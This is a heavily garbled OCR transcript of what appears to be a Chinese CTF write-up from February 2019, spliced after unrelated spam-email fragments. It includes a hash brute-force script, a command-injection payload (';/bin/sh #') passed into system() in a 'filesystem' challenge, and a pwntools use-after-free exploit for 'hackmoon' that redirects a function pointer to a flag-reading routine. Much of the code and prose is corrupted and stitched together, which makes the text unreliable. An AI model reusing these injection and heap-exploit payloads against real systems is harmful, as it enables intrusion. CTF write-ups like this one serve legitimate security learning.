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Dear Professional ; Espedially for you - this cutting-edge
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publications simply reply with a Subject: of "REMOVE®
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This mail is being sent in compliance with Senate bill
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become rich as few as 35 weeks . Have you ever noticed
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#coding:utf-8
import hashlib
import string

b = [Ill,I2I,Iel,ISI,ICI,Ihl,Inl,IEI,Isl,Icl,IHI,INI,I!l,l@l]

for c in b:

for d in b:
for e in b:
for £ in b:
for g in b:
for h in b:

for a in b:
k = 'flag{' + str(c) + str(d) + str(e) + str(f) + str(g) + str(h) + str(a) + '}

#print k

1 = hashlib.shal(str(k)).hexdigest()

if 'e6079c5ce56e781a50f4bf853cdb5302e0d8f054"' == 1:
print Kk + * ' + 1+ ' ' + hashlib.md5(str(c) + str(d) + str(e) + str(f) +
exit()

print 'none'’

i i flag
A & B pwn

filesystem

{

while ( 1)

{
memset(&s, ©, @x2eull);
sub_480A4A(&s, OLL);
if ( strnemp((const char *)&s, "Create", 6ulLL) )

break;

sub_480ABA(&s, "Create");

if ( !strnemp((const char *)&s, "Edit"™, 4uLL) )
sub_480B35(&s, "Edit");

else if ( !strncmp((const char *)&s, "Read", 4uLL) )
sub_48@BE7(&s, "Read");

else if ( !strncmp((const char *)&s, "Checksec", 8ulLL) )
sub_480C72(&s, "Checksec");

¥

else

{
if ( !strncmp((const char *)&s, "Exit", 4uLL) )
exit(@);
if ( !strnecmp((const char *)&s, "B4cKd@oR™, 8uLL) )
{

sub_4eeD46(&s, "B4cKdeoR");
1

else

FRAURERF, REARE, XEASAEMHRR,
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)| if ( unk_6@29E@ > exl1eulLL )

| return puts(“No More Space");

i| printf("Input Filename: ");

i| read(®, (void *)(144LL * unk_6@29E® + 6299872), ©x38ulLL);
' ++unk_60@29E@;

| return puts("Done");

Edit

printf("Input the Index:");
v2 = sub_40e9D1();
if ( unk_6829E® <= v2 )
return puts("No Such Index");
printf("Input File Content: ", v2);
*(_BYTE *)(read(®, (void *)(144 * v1 + 6299928), 8x60ulLL) - 1 + 144 * v1 + 6299920)
return puts("Done");

Read

L
int result; // eax

unsigned _ int64 vi1; // [rsp+8h] [rbp-8h]
printf("Input the Index:");
vl = sub_4ee9D1();
if ( unk_6@29E@ > v1 )
result = printf("Filename: %s\nContent: %s\n", 144 * vl + 6299872, (char *)&unk_6@20E@ + 144 *
else

result = puts("No Such Index");
return result;

Checksec

v5 = _ readfsqword(@x28u);
memset(&s, ©, ©x8@uLL);
printf("Input the Index:", a2, &s);
v3 = sub_4089D1();

if ( unk_6@29E@ > v3 )

snprintf(&s, @xs8euLL, “"echo \"%s\"| md5sum”, (char *)&unk_6B20E@ + 144 * v3 + 48);
system(&s);

else
puts(”No Such Index™);

return __ readfsqword(®x28u) ~ v5;
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INs1gned __ 1nte4 sub_4¥vD4b6( )

.
__inté4 buf; // [rsp+6h] [rbp-10h]
unsigned _ inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);

buf = eLL;

read(@, &buf, 2ulLL);

if ( stremp((const char *)&buf, "sh™) )
system((const char *)&buf);

return __readfsqword(ex28u) ~ v2;
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./filesystem

[Checksec]
FEXit ]

> t flag

No Such Choice

[Checksec]

BB M isystemS %L, (HRJFHSHEE. Bl Ash.
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v5 = __readfsqword(@x28u);
memset(&s, @, @x80uLL);
printf("Input the Index:", a2, &s);
v3 = sub_48e9D1();

if ( unk_B@29EB > v3 )

{
snprintf(&s, @x8euLL, "echo \"%s\"| md5sum”, (char *)&unk_6@20E@ + 144 * v3 + 48);
system(&s);

else

{
puts(“"No Such Index");

}

return __readfsqword(@x28u) ~ v5;

Systemi AT Kt 2 snprint M B IS4, KT AR RAKTEEE.
X R BERATS s HAHE/bin/shEi ], HEZEHAEMHKSH.

iR “/bin/sh #\
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.[filesystem

|[Checksec]

I[Exit]

> Edit

(Input the Index:Railgun

iInput File Content: ";/bin/sh #\

E[Create]
I[Edit]
([Read]
([Checksec]

(Input the Index:Railgun

!# cat flag
Hack it Sucess!l!
lu r wonderful-~

RE—T, QA SCHBAEHA/bin/sh #
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hackmoon

int _ _cdecl _ noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-18h]
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(@x14u);
setvbuf(stdout, @, 2, @);
setvbuf(stdin, @, 2, @);
while ( 1)

while ( 1)

{
menu();
read(@, &buf, 4u);
v3 = atoi(&buf);
if (v3 1=2)

break;

del_moon();

}
iF(vs>2)

{
if (v3 == )
{
print_moon();
}
else

if (v3==4)
avi+/ioy -
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v5 = __readgsdword(ex14u);
if ( count <=5 )

for (1 =08; i <=4; ++1 )

if ( !moonlist[i] )

{
moonlist[i] = malloc(8u);
if ( !moonlist[i] )

puts(“Alloca Error");
exit(-1);
1
*(_DWORD *)moonlist[i] = print_moon_content;
printf("moon size :");
read(@, &buf, 8u);
size = atoi(&buf);
ve = moonlist[i];
ve[1] = malloc(size);
if ( !*((_DWORD *)moonlist[i] + 1) )
{
puts(“Alloca Error");
exit(-1);

printf("Content :");

read(@, *((void **)moonlist[i] + 1), size);
puts("Success !");

++count:

AUER, &RZAEL A moon, FAKNAS,

HBBEFHAFE (moonlist[ijfimoonlist[i+1]) , H# & — A7 ERIR{E Aprint._mooni .
MH, HoAFBREFBcontentifiihy, HsizeH & X.

F&del

unsigned int del_moon()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-16h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(@xl4u);
printf("Index :");

read(e, &buf, 4u);

vl = atoi(&buf);

if (vi< @ || vi »= count )

puts("Out of bound!™);
_exit(e);

if ( moonlist[vl] )

free(*((void **)moonlist[vli] + 1));
free(moonlist[v1]);
puts("Success");

}
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!l return __readgsdword(@xl4u) ~ v3;
}
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int magic()

{
return system("cat /home/pwn/flag");

}

Magici& 1 .
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XA AT LUK moon 0% — AN Bt i print_moonZ& & A magicifi 31 .

expin T :

Terminal

00000005
] Sent ©x2 bytes:

xnote.py ¥
#! fusr/bin/python

from pwn import *

' 1. Add moon context.log_level = 'debug'

| ‘Zgibeleteinoon ; #sh = remote('101.71.29.5',10016)
3. Print moon sh = process('./hackmoon')
'\} """ h" """" ldef add(size,content):
. g sidinscl)

- ]d,i: ytes: sh.recvuntil('moon size :')
Ini ex + o> DS sh.sendline(str(size))

i : 1 B, 62 OYTESy sh.recvuntil('Content :')
e\n sh.sendline(content)

(1 Switrhina tn interactive made
] Received 0x15 bytes: def dels(index):
'f'l...ag{tlisilsiaiﬂag}\n‘ sh.sendline('2')
Lagftils ls.a_glafﬂ pr— sh.recvuntil('Index :')
by R‘#““’“ 0“5 ytcs : sh.sendline(str(index))
idef prints(index):
sh.sendline('3')
sh.recvuntil('Index :')
sh.sendline(str(index))

. Add moon
. Delete moon
. Print moon

L o o T v : Inagic_addr - exeseassss
log.info( 'Hackinggggggg~')
add(16, 'aaaa')

add(16, 'bbbb ')

. Delete moon g

5 add(8,p32(magic_addr))
. Print moon prints(e)
sh.interactive()

Dubhnn »  Tahlalidth: @ »



	安恒月赛writeup 2019年2月
	MISC
	crypt
	队友做的pwn


